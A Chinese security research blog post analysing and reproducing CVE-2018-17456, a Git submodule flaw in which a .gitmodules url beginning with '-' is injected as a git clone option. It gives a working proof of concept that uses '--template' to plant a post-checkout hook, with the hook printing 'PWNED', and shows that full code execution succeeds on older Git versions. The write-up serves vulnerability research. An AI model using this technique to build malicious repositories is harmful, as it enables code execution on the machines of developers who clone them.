作者:Hcamael@知道創宇404實驗室
英文版本:http://www.bjnorthway.com/980/
國慶節的時候,Git爆了一個RCE的漏洞,放假回來進行應急,因為公開的相關資料比較少,挺頭大的,搞了兩天,RCE成功了
收集資料
一開始研究這個漏洞的時候,網上公開的資料非常少,最詳細的也就github blog的了。
得知發現該漏洞的作者是@joernchen, 去翻了下他的twitter,找到了一篇還算有用的推文:

另外在twitter搜索CVE-2018-17456,得到一篇@_staaldraad驗證成功的推文:

可惜打了馬賽克,另外還通過Google也零零散散找到一些有用的信息(url都找不到了),比如該漏洞無法在Windows上復現成功,因為:在Windows上不是有效的文件名。
研究分析
網上資料太少,只憑這點資料無法完成該漏洞的復現,所以只能自己通過源碼、調試進行測試研究了。
使用woboq_codebrowser生成了git v2.19.1最新版的源碼,方便審計。
通過源碼發現在git命令前使用GIT_TRACE=1能開啟git自帶的命令跟蹤,跟蹤git的run_command
首先創建一個源,并創建其子模塊(使用git v2.19.0進行測試):
$ git --version
git version 2.19.0.271.gfe8321e.dirty
$ mkdir evilrepo
$ cd evilrepo/
$ git init .
Initialized empty Git repository in /home/ubuntu/evilrepo/.git/
$ git submodule add https://github.com/Hcamael/hello-world.git test1
Cloning into '/home/ubuntu/evilrepo/test1'...
remote: Enumerating objects: 3, done.
remote: Counting objects: 100% (3/3), done.
remote: Total 3 (delta 0), reused 0 (delta 0), pack-reused 0
Unpacking objects: 100% (3/3), done.
$ cat .gitmodules
[submodule "test1"]
path = test1
url = https://github.com/Hcamael/hello-world.git
從搜集到的資料看,可以知道,該漏洞的觸發點是url參數,如果使用-開始則會被解析成參數,所以嘗試修改url
$ cat .gitmodules
[submodule "test1"]
path = test1
url = -test
$ rm -rf .git/modules/test1/
$ rm test1/.git
修改.git/config
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
這里可以選擇把submodule的數據刪除,可以可以選擇直接修改url
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[submodule "test1"]
active = true
url = -test
$ GIT_TRACE=1 git submodule update --init
從輸出結果中,我們可以看到一句命令:
git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 -test /home/ubuntu/evilrepo/test1
error: unknown switch `t'
我們設置的-test被git clone識別為-t參數,漏洞點找到了,下面需要考慮的是,怎么利用git clone參數執行命令?
繼續研究,發現git有處理特殊字符,比如空格:
$ cat .git/config
[core]
repositoryformatversion = 0
filemode = true
bare = false
logallrefupdates = true
[submodule "test1"]
active = true
url = -te st
$ GIT_TRACE=1 git submodule update --init
.....
git.c:415 trace: built-in: git submodule--helper clone --path test1 --name test1 --url '-te st'
.....
git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 '-te st' /home/ubuntu/evilrepo/test1
.....
如果有特殊字符,則會加上單引號
只有大小寫字母,數字和下面這幾種特殊字符才不會加上單引號:
static const char ok_punct[] = "+,-./:=@_^";
感覺這空格是繞不過了(反正我繞不動)
接下來繼續研究如果利用參數進行命令執行
在翻twitter的過程中還翻到了之前一個Git RCE(CVE-2018-11235)的文章,發現是利用hook來達到RCE的效果,在結合之前@_staaldraad驗證成功的推文
可以很容易的想到一個方法,不過在講這個方法前,先講一些git submodule的基礎知識點吧
git submodule機制簡單講解
首先看看.gitmodules的幾個參數:
[submodule "test1"]
path = test2
url = test3
test1表示的是submodule name,使用的參數是--name,子項目.git目錄的數據會被儲存到.git/modules/test1/目錄下
test2表示的是子項目儲存的路徑,表示子項目的內容將會被儲存到./test2/目錄下
test3這個就很好理解,就是子項目的遠程地址,如果是本地路徑,就是拉去本地源
把本地項目push到遠程,是無法把.git目錄push上去的,只能push .gitmodules文件和test2目錄
那么遠程怎么識別該目錄為submodule呢?在本地添加submodule的時候,會在test2目錄下添加一個.git文件(在前面被我刪除了,可以重新添加一個查看其內容)
$ cat test2/.git
gitdir: ../.git/modules/test1
指向的是該項目的.git路徑,該文件不會被push到遠程,但是在push的時候,該文件會讓git識別出該目錄是submodule目錄,該目錄下的其他文件將不會被提交到遠程,并且在遠程為該文件創建一個鏈接,指向submodule地址:

(我個人體會,可以看成是Linux下的軟連接)
這個軟連接是非常重要的,如果遠程test2目錄沒有該軟連接,.gitmodules文件中指向該路徑的子項目在給clone到本地時(加了--recurse-submodules參數),該子項目將不會生效。
理解了submodule大致的工作機制后,就來說說RCE的思路
我們可以把url設置為如下:
url = --template=./template
這是一個模板選項,詳細作用自己搜下吧
在設置了該選項的情況下,把子項目clone到本地時,子項目的.git目錄被放到.git/modules/test1目錄下,然后模板目錄中,規定的幾類文件也會被copy到.git/modules/test1目錄下。這幾類文件其中就是hook
所以,只有我們設置一個./template/hook/post-checkout,給post-checkout添加可執行權限,把需要執行的命令寫入其中,在子項目執行git chekcout命令時,將會執行該腳本。
$ mkdir -p fq/hook
$ cat fq/hook/post-checkout
#!/bin/sh
date
echo 'PWNED'
$ chmod +x fq/hook/post-checkout
$ ll
total 24
drwxrwxr-x 5 ubuntu ubuntu 4096 Oct 12 16:48 ./
drwxr-xr-x 16 ubuntu ubuntu 4096 Oct 12 16:48 ../
drwxrwxr-x 3 ubuntu ubuntu 4096 Oct 12 16:47 fq/
drwxrwxr-x 8 ubuntu ubuntu 4096 Oct 12 15:59 .git/
-rw-rw-r-- 1 ubuntu ubuntu 57 Oct 12 16:48 .gitmodules
drwxrwxr-x 2 ubuntu ubuntu 4096 Oct 12 16:46 test2/
$ cat .gitmodules
[submodule "test1"]
path = test2
url = --template=./fq
$ GIT_TRACE=1 git submodule update --init
設置好了PoC,再試一次,發現還是報錯失敗,主要問題如下:
git.c:415 trace: built-in: git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq /home/ubuntu/evilrepo/test2
fatal: repository '/home/ubuntu/evilrepo/test2' does not exist
fatal: clone of '--template=./fq' into submodule path '/home/ubuntu/evilrepo/test2' failed
來解析下該命令:
git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}
我們把{url}設置為參數以后,/home/ubuntu/evilrepo/{path}就變成源地址了,該地址被判斷為本地源目錄,所以會查找該目錄下的.git文件,但是之前說了,因為該目錄被遠程設置為軟連接,所以clone到本地不會有其他文件,所以該目錄是不可能存在.git目錄的,因此該命令執行失敗
再來看看是什么命令調用的該命令:
git.c:415 trace: built-in: git submodule--helper clone --path test2 --name test1 --url --template=./fq
解析下該命令:
git submodule--helper clone --path {path} --name {name} --url {url}
path, name, url都是我們可控的,但是都存在過濾,過濾規則同上面說的url白名單過濾規則。
我考慮過很多,path或name設置成--url=xxxxx
都失敗了,因為--path和--name參數之后沒有其他數據了,所以--url=xxxx都會被解析成name或path,這里就缺一個空格,但是如果存在空格,該數據則會被加上單引號,目前想不出bypass的方法
所以該命令的利用上毫無進展。。。。
所以關注點又回到了上一個git clone命令上:
git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/{name} {url} /home/ubuntu/evilrepo/{path}
strbuf_addf(&sb, "%s/modules/%s", get_git_dir(), name);
sm_gitdir = absolute_pathdup(sb.buf);
/home/ubuntu/evilrepo/.git/modules/{name}路徑是直接使用上面代碼進行拼接,也找不到繞過的方法
最后就是/home/ubuntu/evilrepo/{path},如果git能把這個解析成遠程地址就好了,所以想了個構造思路:/home/ubuntu/evilrepo/git@github.com:Hcamael/hello-world.git
但是失敗了,還是被git解析成本地路徑,看了下path的代碼:
if (!is_absolute_path(path)) {
strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path);
path = strbuf_detach(&sb, NULL);
} else
path = xstrdup(path);
因為git@github.com:Hcamael/hello-world.git被判斷為非絕對路徑,所以在前面加上了當前目錄的路徑,到這就陷入了死胡同了找不到任何解決辦法
RCE
在不斷的研究后發現,path=git@github.com:Hcamael/hello-world.git在低版本的git中竟然執行成功了。
首先看圖:

使用的是ubuntu 16.04,默認的git是2.7.4,然后查了下該版本git的源碼,發現該版本中并沒有下面這幾行代碼
if (!is_absolute_path(path)) {
strbuf_addf(&sb, "%s/%s", get_git_work_tree(), path);
path = strbuf_detach(&sb, NULL);
} else
path = xstrdup(path);
所以構造的命令變成了:
$ git clone --no-checkout --separate-git-dir /home/ubuntu/evilrepo/.git/modules/test1 --template=./fq git@github.com:Hcamael/hello-world.git
之后把我執行成功的結果和@_staaldraad推文中的截圖進行對比,發現幾乎是一樣的,所以猜測這個人復現的git環境也是使用低版本的git
總結
之后翻了下git的提交歷史,發現2016年就已經添加了對path是否是絕對路徑的判斷。根據我的研究結果,CVE-2018-17456漏洞可以造成git選項參數注入,但是只有低版本的git才能根據該CVE造成RCE的效果。
UPDATE
github上有人公布了除了低版本的git都適用的PoC: https://github.com/joernchen/poc-submodule
再結合我的PoC,沒有patch該漏洞的git都能被RCE
引用
- https://blog.github.com/2018-10-05-git-submodule-vulnerability/
- https://0x48.pw/git/
- https://0x48.pw/git/git/quote.c.html#sq_quote_buf_pretty
- https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
- https://0x48.pw/git/git/builtin/submodule--helper.c.html#module_clone
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/716/
暫無評論